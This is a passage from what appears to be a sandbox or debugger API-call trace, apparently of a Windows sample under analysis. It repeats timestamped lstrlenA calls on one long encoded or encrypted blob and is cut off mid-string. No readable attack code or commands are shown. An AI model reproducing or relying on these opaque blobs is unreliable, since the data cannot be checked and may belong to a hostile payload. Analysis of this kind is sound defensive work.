4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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